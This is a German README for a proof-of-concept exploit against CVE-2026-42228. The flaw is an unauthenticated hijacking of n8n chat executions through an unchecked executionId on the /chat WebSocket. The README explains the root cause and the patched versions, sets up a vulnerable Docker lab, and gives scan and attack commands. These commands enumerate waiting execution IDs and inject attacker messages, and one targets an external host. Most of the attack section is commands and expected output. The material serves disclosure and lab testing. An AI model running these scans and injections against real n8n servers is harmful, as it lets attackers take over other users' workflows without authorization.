
Proof-of-Concept-Exploit für CVE-2026-42228, eine nicht authentifizierte Schwachstelle zur Übernahme der Chat-Ausführung in n8n, mit automatisierten Scan- und Angriffsskripten.
CVE: CVE-2026-42228
Schweregrad: Hoch
Betroffen: n8n < 1.123.32
Behoben in: n8n 1.123.32 / 2.17.4 / 2.18.1
chat-service.ts :: startSession() akzeptiert eine executionId aus der WebSocket-
Query-String und prüft nur, ob die Ausführung in der Datenbank existiert. Es wird
niemals verifiziert, ob der Aufrufer autorisiert ist, auf diese Ausführung zuzugreifen.
Ein nicht authentifizierter Angreifer, der eine gültige numerische Ausführungs-ID für eine Ausführung im Wartezustand kennt (oder aufzählen kann), kann:
/chat-WebSocket verbinden.Voraussetzungen:
waiting-Zustand.chmod +x exploit.sh
./exploit.sh setup
Dies zieht n8nio/n8n:1.123.22 (letzte betroffene Version), baut das Angreifer-
Image und startet das verwundbare Ziel unter http://localhost:5678.
http://localhost:5678 und schließen Sie den Einrichtungsassistenten ab (beliebige Anmeldedaten).Öffnen Sie die öffentliche Chat-URL, die im Chat-Trigger-Knoten angezeigt wird, und senden Sie eine Nachricht. Die Ausführung wechselt in den Wartezustand und pausiert auf die nächste Chat-Antwort.
./exploit.sh scan
# oder einen Bereich angeben:
./exploit.sh scan 1 500
Erwartete Ausgabe, wenn eine verwundbare Ausführung gefunden wird:
[+] WAITING execution found! exec_id=7
Server said: 'n8n|continue'
Server said: '{"action":"sendMessage","sessionId":"...","chatInput":"Hello"}'
[!!!] Hijack payload sent: '[CVE-2026-42228] hijacked by PoC'
./exploit.sh attack 7
# oder mit einem benutzerdefinierten Payload:
./exploit.sh attack 7 "custom injected message"
Zurück im n8n-Editor wird der Workflow mit der injizierten Nachricht des Angreifers fortgesetzt, anstatt mit der Eingabe des legitimen Benutzers.
# Das Angreifer-Image bauen
docker build -t n8n-chat-hijack-poc .
# Scannen (verbindet sich mit dem gemeinsamen Labor-Netzwerk)
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--start-id 1 --end-id 200
# Eine bestimmte Ausführung angreifen
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--exec-id 7 --inject "PWNED"
# Gegen ein externes Ziel (kein Netzwerk-Flag erforderlich)
docker run --rm n8n-chat-hijack-poc \
--target https://n8n.example.com \
--exec-id 42 --inject "PWNED"
./exploit.sh clean
Stoppt Container und entfernt Volumes (einschließlich der SQLite-Datenbank).
| Datei | Beschreibung |
|---|---|
poc_GHSA-f77h-j2v7-g6mw.py | Eigenständiger Python-PoC |
Dockerfile |
| Angreifer-Container-Image |
docker-compose.yml | Vollständiges Labor: verwundbares n8n + Angreifer |
exploit.sh | Hilfsskript für gängige Operationen |